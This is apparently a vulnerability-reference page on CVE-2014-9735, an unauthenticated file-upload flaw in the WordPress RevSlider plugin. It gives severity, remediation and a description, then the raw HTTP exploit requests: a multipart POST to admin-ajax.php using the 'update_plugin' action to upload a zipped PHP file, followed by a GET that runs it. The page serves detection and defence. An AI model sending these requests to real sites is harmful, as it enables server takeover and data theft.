🔙 목록으로 돌아가기

CVE-2014-9735: WordPress RevSlider - Remote Code Execution via File Upload

Title	WordPress RevSlider - Remote Code Execution via File Upload
Author	iamnoooob,pdresearch
Severity	High
Impact	Unauthenticated attackers can upload and execute arbitrary PHP files, leading to complete server compromise, data theft, and potential lateral movement within the network.
Remediation	Update to Slider Revolution version 3.0.96 or later, or remove the plugin if not in use.
CVSS Score	7.5
EPSS Score	0.82749
CVE ID	CVE-2014-9735
CWE ID	CWE-264
Tags	cve cve2014 wordpress revslider fileupload rce plugin wp unauth intrusive vkev vuln

🔍 Vulnerability Description

The ThemePunch Slider Revolution (revslider) plugin before 3.0.96 for WordPress and Showbiz Pro plugin 1.7.1 and earlier for Wordpress does not properly restrict access to administrator AJAX functionality, which allows remote attackers to (1) upload and execute arbitrary files via an update_plugin action; (2) delete arbitrary sliders via a delete_slider action; and (3) create, (4) update, (5) import, or (6) export arbitrary sliders via unspecified vectors.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15
Connection: close
Content-Length: 637
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWJDMjlXCUnC1rnZg
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

------WebKitFormBoundaryWJDMjlXCUnC1rnZg

Content-Disposition: form-data; name="action"



revslider_ajax_action

------WebKitFormBoundaryWJDMjlXCUnC1rnZg

Content-Disposition: form-data; name="client_action"



update_plugin

------WebKitFormBoundaryWJDMjlXCUnC1rnZg

Content-Disposition: form-data; name="update_file"; filename="KkENLLJh.zip"

Content-Type: application/zip



PKKkENLLJh.php��/�(PHM��WHJ,N53�OIM�OI�P���pO4tsw�7���/�

��
r��qN4�
W״V����PKr���JDPKr���JDKkENLLJh.phpPK:�

------WebKitFormBoundaryWJDMjlXCUnC1rnZg--

GET /wp-content/plugins/revslider/temp/update_extract/KkENLLJh.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Connection: close
Accept-Encoding: gzip

📚 References

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2014/CVE-2014-9735.yaml

🦈 Packet Capture: ⬇️ Download cve-2014-9735.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.

Snort 2 Rule

N/A

Snort 3 Rule

N/A